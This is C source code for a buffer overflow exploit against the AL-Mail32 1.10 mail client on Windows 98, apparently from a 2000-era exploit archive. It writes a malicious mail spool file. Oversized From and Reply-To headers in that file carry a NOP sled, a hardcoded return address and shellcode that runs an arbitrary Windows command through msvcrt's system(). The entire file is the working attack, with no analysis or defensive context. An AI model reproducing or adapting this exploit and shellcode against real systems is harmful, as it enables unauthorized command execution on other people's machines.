/*=============================================================================
   AL-Mail32 Version 1.10 Exploit for Windows98
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/

#include    <stdio.h>
#include    <string.h>

#define HEADER1 \
"From hehehe@hohoho.com Sat Jul 32 25:01 JST 1999\n"\
"Message-ID: <001_The_ShadowPenguinSecurity_@rockhopper>\n"

#define HEADER2 \
"Content-Transfer-Encoding: 7bit\n"\
"X-Mailer: PenguinMailer Ver1.01\n"\
"Content-Type: text/plain; charset=US-ASCII\n"\
"Content-Length: 6\n"\
"\n"\
"hehe\n"

#define RETADR          260
#define JMPADR          256
#define JMPOFS          6
#define JMP_EBX_ADR     0xbff7a06b
#define CMDLENP         0x43
#define BUFEND          5000

#define FUNC            "msvcrt.dll.system.exit."

#define JMPS            0xeb
#define NOP             0x90

unsigned char exploit_code[200]={
  0xEB,0x4D,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
  0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
  0xB8,0x27,0x6E,0xF7,0xBF,0x40,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,
  0x83,0xC3,0x04,0x88,0x23,0xB8,0x27,0x6E,0xF7,0xBF,0x40,0xFF,0xD0,0x8B,0xF8,0x43,
  0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7,0xE8,
  0xAE,0xFF,0xFF,0xFF,0x00
};

main(int argc,char *argv[])
{
  FILE        *fp;
  static char buf[10000];
  int         i,r,ip;

  if (argc!=3)
    {
      printf("usage : %s MailSpoolDirectry WindowsCommand\n",argv[0]);
      exit(1);
    }

  if ((fp=fopen(argv[1],"wb"))==NULL)
    {
      printf("Permittion denied :-P\n");
      exit(1);
    }
  fwrite(HEADER1,1,strlen(HEADER1),fp);

  memset(buf,NOP,BUFEND);
  strcat(exploit_code,FUNC);
  strcat(exploit_code,argv[2]);
  exploit_code[CMDLENP]=strlen(argv[2]);
  strncpy(buf+RETADR+4,exploit_code,strlen(exploit_code));

  ip=JMP_EBX_ADR;
  buf[JMPADR]  =0xeb;
  buf[JMPADR+1]=0x06;
  buf[RETADR+3]=0xff&(ip>>24);
  buf[RETADR+2]=0xff&(ip>>16);
  buf[RETADR+1]=0xff&(ip>>8);
  buf[RETADR]  =ip&0xff;
  buf[BUFEND]  =0;

  fprintf(fp,"Reply-To: \"%s\" <hehehe@hohoho.com>\n",buf);
  fprintf(fp,"From: \"%s\" <hehehe@hohoho.com>\n",buf);

  fwrite(HEADER2,1,strlen(HEADER2),fp);
  fclose(fp);
}
/*                    www.hack.co.za              [2000]*/